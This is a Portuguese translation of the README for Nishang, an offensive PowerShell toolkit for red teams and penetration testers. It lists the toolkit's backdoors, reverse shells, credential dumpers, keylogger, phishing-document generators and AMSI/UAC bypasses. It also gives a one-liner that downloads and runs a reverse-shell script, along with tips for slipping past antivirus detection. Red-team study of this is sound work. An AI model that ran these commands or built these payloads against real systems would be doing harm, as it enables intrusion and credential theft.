
Nishang - PowerShell ofensivo para red team, testes de penetração e segurança ofensiva.
Por Nikhil Mittal Fundador da Altered Security - Treinamento prático em red team e segurança empresarial!
Importe todos os scripts na sessão atual do PowerShell (PowerShell v3 em diante).
PS C:\nishang> Import-Module .\nishang.psm1
Use os scripts individualmente com dot sourcing.
PS C:\nishang> . C:\nishang\Gather\Get-Information.ps1
PS C:\nishang> Get-Information
Para obter ajuda sobre qualquer script ou função, use:
PS C:\nishang> Get-Help [scriptname] -full
Observe que a ajuda está disponível para a função carregada após executar o script, e não para o script em si, desde a versão 0.3.8. Em todos os casos, o nome da função é o mesmo que o nome do script.
Por exemplo, para ver a ajuda sobre Get-WLAN-Keys.ps1, use
PS C:\nishang> . C:\nishang\Get-WLAN-Keys.ps1
PS C:\nishang> Get-Help Get-WLAN-Keys -Full
Os scripts do Nishang são sinalizados por muitos antivírus como maliciosos. Os scripts em um alvo devem ser usados na memória, o que é muito fácil de fazer com o PowerShell. Dois métodos básicos para executar scripts PowerShell na memória:
Método 1. Use o download e execução na memória: Use o comando abaixo para executar um script PowerShell a partir de um shell remoto, shell nativo do meterpreter, um web shell etc., e a função exportada por ele. Todos os scripts do Nishang exportam uma função com o mesmo nome na sessão atual do PowerShell.
powershell iex (New-Object Net.WebClient).DownloadString('http://<yourwebserver>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]
Método 2. Use o parâmetro -encodedcommand (ou -e) do PowerShell
Todos os scripts do Nishang exportam uma função com o mesmo nome na sessão atual do PowerShell. Portanto, certifique-se de que a chamada da função seja feita no próprio script ao usar o parâmetro encodedcommand de um shell não PowerShell. Para o exemplo acima, adicione uma chamada de função (sem aspas) "Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]".
Codifique o script usando Invoke-Encode do Nishang:
PS C:\nishang> . \nishang\Utility\Invoke-Encode
PS C:\nishang> Invoke-Encode -DataToEncode C:\nishang\Shells\Invoke-PowerShellTcp.ps1 -OutCommand
Dados codificados gravados em .\encoded.txt
Comando codificado gravado em .\encodedcommand.txt
A partir disso, use o script codificado de encodedcommand.txt e execute-o em um alvo onde comandos possam ser executados (um shell remoto, shell nativo do meterpreter, um web shell, etc.). Use da seguinte forma:
C:\Users\target> powershell -e [encodedscript]
Se os scripts ainda forem detectados, alterar os nomes das funções e parâmetros e remover o conteúdo de ajuda ajudará.
Caso o AMSI do Windows 10 ainda esteja bloqueando a execução do script, veja este blog: http://www.labofapenetrationtester.com/2016/09/amsi.html
O Nishang atualmente contém os seguintes scripts e payloads.
Modifique objetos do AD para fornecer permissões mínimas necessárias para DCShadow.
Execute scripts PowerShell na memória, execute comandos e faça download e upload de arquivos usando este webshell.
Um backdoor que pode receber instruções de sites de terceiros e executar scripts PowerShell na memória.
Um backdoor que pode receber comandos e scripts PowerShell de consultas DNS TXT, executá-los em um alvo e ser controlado remotamente usando as consultas.
Um backdoor que pode executar scripts PowerShell em um horário determinado em um alvo.
Um backdoor que pode receber comandos e scripts de um SSID de WLAN sem se conectar a ele.
Um backdoor que pode usar o protetor de tela do Windows para execução remota de comandos e scripts.
Um backdoor que pode usar fluxos de dados alternativos e o Registro do Windows para obter persistência.
Um backdoor que usa o conhecido truque do Debugger para executar payload com Sticky keys e Utilman (Windows key + U).
Modifique permissões de namespaces DCOM e WMI para permitir acesso a um usuário não administrador.
Modifique permissões do PowerShell remoting para permitir acesso a um usuário não administrador.
Implementação de métodos publicamente conhecidos para contornar/evitar AMSI.
Crie arquivos CHM infectados que podem executar comandos e scripts PowerShell.
Crie arquivos Word e infecte os existentes para executar comandos e scripts PowerShell.
Crie arquivos Excel e infecte os existentes para executar comandos e scripts PowerShell.
Crie um arquivo HTA que pode ser implantado em um servidor web e usado em campanhas de phishing.
Crie arquivos JAR assinados que podem ser usados com applets para execução de scripts e comandos.
Crie arquivos de atalho capazes de executar comandos e scripts PowerShell.
Crie arquivos IQY para phishing de credenciais e hashes SMB.
Crie arquivos JS capazes de executar comandos e scripts PowerShell.
Crie arquivos SCT capazes de executar comandos e scripts PowerShell.
Crie um arquivo SCF que pode ser usado para capturar desafios de hash NTLM.
Quando privilégios de SYSTEM são necessários.
Introduza vulnerabilidades removendo patches.
Bypass UAC.
Baixe e execute um script PowerShell na memória.
Baixe um executável em formato texto, converta-o em executável e execute.
Execute comandos PowerShell, comandos nativos ou comandos SQL em um servidor MSSQL com privilégios suficientes.
Execute shellcode na memória usando consultas DNS TXT.
Execute comandos e scripts PowerShell ou uma sessão reversa do PowerShell usando rundll32.exe.
Verifique se é uma máquina virtual.
Copie o arquivo SAM usando o Volume Shadow Copy Service.
Engane um usuário para fornecer credenciais em texto simples.
Um par de scripts para teste de egress
Obtenha informações valiosas de um alvo.
Obtenha o segredo LSA de um alvo.
Obtenha hashes de senha de um alvo.
Obtenha chaves WLAN em texto simples de um alvo.
Registre as teclas digitadas de um alvo.
Invoke-MimikatzWdigestDowngrade
Despeje senhas de usuário em texto simples no Windows 8.1 e Server 2012
Obtenha dicas de senha de usuários do Windows de um alvo.
Conecte-se de volta e transmita a tela do alvo usando MJPEG.
Carregue o mimikatz na memória. Atualizado e com alguma customização.
Extraia informações valiosas da memória de processos alvo (como navegadores) usando regex.
Exfiltre informações como credenciais de usuário usando SSID de WLAN.
Identifique jump-boxes de administrador e/ou computadores usados para acessar máquinas Unix.
Um proxy HTTPS local para ataques MITM.
Verifique credenciais em vários computadores e crie PSSessions.
Run-EXEonRemote Copie e execute um executável em várias máquinas.
Invoke-NetworkRelay Crie relays de rede entre computadores.
Verifique hashes de processos em execução contra o banco de dados do VirusTotal.
Força bruta em FTP, Active Directory, MSSQL e Sharepoint.
Um scanner de portas prático.
Toda a funcionalidade do nishang em um único módulo de script.
Envie comandos e scripts para uma conta Gmail especificada para serem executados pelo Invoke-PsGcatAgent
Execute comandos e scripts enviados pelo Invoke-PsGcat.
Um shell reverso interativo do PowerShell ou bind shell
Versão reduzida do Invoke-PowerShellTcp. Também contém uma versão esqueleto que cabe em dois tweets.
Invoke-PowerShellTcpOneLineBind
Versão bind do Invoke-PowerShellTcpOneLine.
Um shell reverso interativo do PowerShell ou bind shell sobre UDP
Versão reduzida do Invoke-PowerShellUdp.
PowerShell reverso interativo sobre HTTPS.
PowerShell reverso interativo sobre HTTP.
Limpe o sistema após usar Invoke-PoshRatHttps
PowerShell interativo usando WMI.
Um shell reverso interativo do PowerShell sobre ICMP.
Um shell reverso interativo do PowerShell sobre HTTP usando rundll32.exe.
Um shell reverso interativo do PowerShell sobre HTTP usando regsvr32.exe.
Adicione capacidade de exfiltração de dados para Gmail, Pastebin, um servidor web e DNS a qualquer script.
Adicione capacidade de persistência após reinicialização a um script.
Remova a persistência adicionada pelo script Add-Persistence.
Use pipe (|) com qualquer script para exfiltrar a saída.
Transfira um arquivo para o alvo.
Analise as teclas registradas pelo keylogger.
Codifique e comprima um script ou string.
Decodifique e descomprima um script ou string do Invoke-Encode.
Execute um servidor web que registra autenticação Basic e hashes SMB.
Codifique uma string para ROT13 ou decodifique uma string ROT13.
Gere registros DNS TXT que podem ser usados com outros scripts.
[Base64ToString]
[StringToBase64]
[ExetoText]
[TexttoExe]
Atualizações sobre o Nishang podem ser encontradas no meu blog http://labofapenetrationtester.com e no meu Twitter @nikhil_mitt.
Por favor, abra uma issue se encontrar um bug ou tiver uma solicitação de funcionalidade. Você pode me enviar um e-mail para nikhil [dot] uitrgpv at gmail.com
Para feedback, discussões e solicitações de funcionalidades, junte-se a: http://groups.google.com/group/nishang-users
Estou sempre procurando contribuidores para o Nishang. Por favor, envie solicitações ou me envie um e-mail.
Algumas postagens úteis no blog para iniciantes:
http://www.labofapenetrationtester.com/2014/06/nishang-0-3-4.html
http://labofapenetrationtester.com/2012/08/introducing-nishang-powereshell-for.html
http://labofapenetrationtester.com/2013/08/powerpreter-and-nishang-Part-1.html
http://www.labofapenetrationtester.com/2013/09/powerpreter-and-nishang-Part-2.html
Todas as postagens sobre Nishang: